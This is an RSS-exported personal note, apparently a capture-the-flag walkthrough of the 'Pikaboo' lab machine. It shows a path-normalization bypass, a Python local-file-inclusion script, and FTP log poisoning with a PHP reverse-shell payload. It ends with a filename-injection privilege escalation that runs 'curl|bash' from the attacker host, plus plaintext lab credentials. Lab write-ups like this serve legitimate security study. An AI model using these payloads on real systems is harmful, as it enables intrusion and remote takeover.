<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Pikaboo]]></title><description><![CDATA[Obsidian digital garden]]></description><link>http://github.com/dylang/node-rss</link><image><url>lib/media/favicon.png</url><title>Pikaboo</title><link></link></image><generator>Webpage HTML Export plugin for Obsidian</generator><lastBuildDate>Mon, 11 Mar 2024 20:27:28 GMT</lastBuildDate><atom:link href="lib/rss.xml" rel="self" type="application/rss+xml"/><pubDate>Mon, 11 Mar 2024 20:27:27 GMT</pubDate><ttl>60</ttl><dc:creator></dc:creator><item><title><![CDATA[pikaboo]]></title><description><![CDATA[ 
 <br><img alt="Pasted image 20240210222822.png" src="/pasted-image-20240210222822.png"><br>The admin link<br>
<img alt="Pasted image 20240210222837.png" src="/pasted-image-20240210222837.png"><br>Even if we try anything after admin like 'adminqwer' it still requires authentication.<br>Pressing the cancel button -&gt;<br>
<img alt="Pasted image 20240210222916.png" src="/pasted-image-20240210222916.png"><br>According to the nmap scan the website is nginx and the error redirects us to apache also that on port 81 some kind of proxy<br><img alt="Pasted image 20240210223029.png" src="/pasted-image-20240210223029.png"><br><a rel="noopener" class="external-link" href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf" target="_blank">https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf</a><br>Because even when going to /adminasdf it gives us a login prompt means there is a misconfiguration.<br>
<img alt="Pasted image 20240210223451.png" src="/pasted-image-20240210223451.png"><br>Same seems to be a case here there is no trailing slash after admin.<br>
I ll try to access common apache files like server-status.<br><a rel="noopener" class="external-link" href="http://10.10.10.249/admin../server-status" target="_blank">http://10.10.10.249/admin../server-status</a><br><img alt="Pasted image 20240210214347.png" src="/pasted-image-20240210214347.png"><br>
There is request to admin_staging which looks interesting.<br><img alt="Pasted image 20240210214536.png" src="/pasted-image-20240210214536.png"><br><img alt="Pasted image 20240210223638.png" src="/pasted-image-20240210223638.png"><br>There is a lfi.<br>
<img alt="Pasted image 20240210223719.png" src="/pasted-image-20240210223719.png"><br>I ll write a script -&gt;<br>import requests
import re
import base64

while True:

  i = input('&gt; ')
  url = f'http://10.10.10.249/admin../admin_staging/index.php?page=php://filter/convert.base64-encode/resource={i}'

  r = requests.get(url)

  pattern = re.compile(r'nel"&gt;\n(.*?)&lt;/div&gt;')
  match = pattern.finditer(r.text)
  #print(r.text)
  for matches in match:
    extracted_base64 = matches.group(1)

  decoded_bytes = base64.b64decode(extracted_base64)

  decoded_string = decoded_bytes.decode('utf-8')
  print(decoded_string)

Copy<br>I was not able to view any files in /etc/ like /etc/passwd so I used a wordlist.<br>
Gobuster for lfi interesting files.-&gt;<br>➜  script wfuzz -u http://10.10.10.249/admin../admin_staging/index.php\?page\=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt  --hl 367
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.249/admin../admin_staging/index.php?page=FUZZ
Total requests: 880

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                     
=====================================================================

000000216:   200        413 L    1670 W     19803 Ch    "/var/log/vsftpd.log"                                                                       
000000217:   200        557 L    1381 W     169663 Ch   "/var/log/wtmp"                                                                             

Total time: 0
Processed Requests: 880
Filtered Requests: 878
Requests/sec.: 0
Copy<br>Before reading the log file -&gt; index.php file<br>
The php file uses include to add a file<br>
<img alt="Pasted image 20240210224235.png" src="/pasted-image-20240210224235.png"><br>
Which is a dangerous function as the function can help an attacker to execute php code if he/she can control the files on the server. Like In our case we can read vsftpd.log and also create a log as when we enter a wrong credential it gets in the ftp.log file and because the server uses include statement the attacker will be able to execute a code if inserted in ftp username.<br><img alt="Pasted image 20240210224452.png" src="/pasted-image-20240210224452.png"><br>I ll enter a php reverse shell in username <br>➜  script ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:nakul): &lt;?php system("bash -c 'bash -i &gt;&amp; /dev/tcp/10.10.14.16/9001 0&gt;&amp;1'");?&gt;
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
Copy<br>Now I ll reload the page<br>
<img alt="Pasted image 20240210224647.png" src="/pasted-image-20240210224647.png"><br>The page hangs and we get a reverse shell<br>
<img alt="Pasted image 20240210224707.png" src="/pasted-image-20240210224707.png"><br>www-data@pikaboo:/var/www/html/admin_staging$ netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      550/nginx: worker p 
tcp        0      0 127.0.0.1:81            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:389           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      550/nginx: worker p 
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -        
Copy<br>Ldap is open but I dont have creds,<br>
Enumerating the server I found credentials in /opt/pokeapi/config/settings.py<br>LDAP creds-&gt;<br>
<img alt="Pasted image 20240211082852.png" src="/pasted-image-20240211082852.png"><br>ldapsearch -h 127.0.0.1 -x -s base namingcontexts -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g'
# extended LDIF
#
# LDAPv3
# base &lt;&gt; (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingContexts: dc=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
Copy<br>ldapsearch -h 127.0.0.1 -x -b 'dc=htb' -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g'            
Copy<br><img alt="Pasted image 20240211083020.png" src="/pasted-image-20240211083020.png"><br>echo X0cwdFQ0X0M0dGNIXyczbV80bEwhXw== | base64 -d
_G0tT4_C4tcH_'3m_4lL!_
Copy<br>The credentials were not of ssh, but rather they were of ftp<br>➜  Pikaboo ftp 10.10.10.249                                 
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:nakul): pwnmeow
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
Copy<br><img alt="Pasted image 20240211083237.png" src="/pasted-image-20240211083237.png"><br>I tried to find these folders in the server using www shell<br>www-data@pikaboo:/opt/pokeapi/config$ find / -type d 2&gt;/dev/null  | grep abilities
/sys/devices/platform/i8042/serio0/input/input0/capabilities
/sys/devices/platform/i8042/serio1/input/input3/capabilities
/sys/devices/platform/i8042/serio1/input/input2/capabilities
/sys/devices/platform/pcspkr/input/input5/capabilities
/sys/devices/system/cpu/vulnerabilities
/sys/devices/LNXSYSTM:00/LNXPWRBN:00/input/input4/capabilities
/srv/ftp/conquest_pokemon_abilities
/srv/ftp/abilities
/srv/ftp/pokemon_abilities
Copy<br>The ftp folders were connected to /srv/ftp folder.<br>
I tried to put something in the / dir it did not work, but I am able to upload files in any other directory.<br>Linpeas told there is a cron running every minute<br>cat /etc/crontab<br>
<img alt="Pasted image 20240211084922.png" src="/pasted-image-20240211084922.png"><br>www-data@pikaboo:/opt/pokeapi/config$ cat /usr/local/bin/csvupdate_cron
#!/bin/bash

for d in /srv/ftp/*
do
  cd $d
  /usr/local/bin/csvupdate $(basename $d) *csv
  /usr/bin/rm -rf *
done
Copy<br>It is calling /usr/bin/csvupdate, which is  a perl script.<br>csvupdate.pl -&gt;<br>
<img alt="Pasted image 20240211085057.png" src="/pasted-image-20240211085057.png"><br>The code is vulnerable to code execution the for(&lt;&gt;) part, This video explains the vulnerability -&gt; <a rel="noopener" class="external-link" href="https://youtu.be/iczIO8032VU?si=bLy2gsBE7YOZnleR" target="_blank">https://youtu.be/iczIO8032VU?si=bLy2gsBE7YOZnleR</a><br>If I can inject a pipe  |  The code will execute anything I want.<br>
I can control the parameter as i can upload files in any directory in /opt and running csvupdate on files that end with .csv I ll put a file use pipe to execute my command<br>#!/bin/bash

for d in /srv/ftp/*
do
  cd $d
  /usr/local/bin/csvupdate $(basename $d) *csv
  /usr/bin/rm -rf *
done
Copy<br>put hello.txt "|ping -c 1 10.10.14.6; asdf.csv"
Copy<br><img alt="Pasted image 20240211081243.png" src="/pasted-image-20240211081243.png"><br>I got a ping request in a minute.<br>
<img alt="Pasted image 20240211081319.png" src="/pasted-image-20240211081319.png"><br>Now I need a shell.<br>put hello.txt "|curl 10.10.14.16|bash;asdf.csv"
Copy<br><img alt="Pasted image 20240211081445.png" src="/pasted-image-20240211081445.png"><br>
<img alt="Pasted image 20240211081458.png" src="/pasted-image-20240211081458.png"><br>Got a root shell in a minute.<br>
<img alt="Pasted image 20240211085901.png" src="/pasted-image-20240211085901.png"><br>Root.]]></description><link>pikaboo.html</link><guid isPermaLink="false">pikaboo.md</guid><pubDate>Sun, 11 Feb 2024 03:29:10 GMT</pubDate><enclosure url="pasted-image-20240210222822.png" length="0" type="image/png"/><content:encoded>&lt;figure&gt;&lt;img src=&quot;pasted-image-20240210222822.png&quot;&gt;&lt;/figure&gt;</content:encoded></item></channel></rss>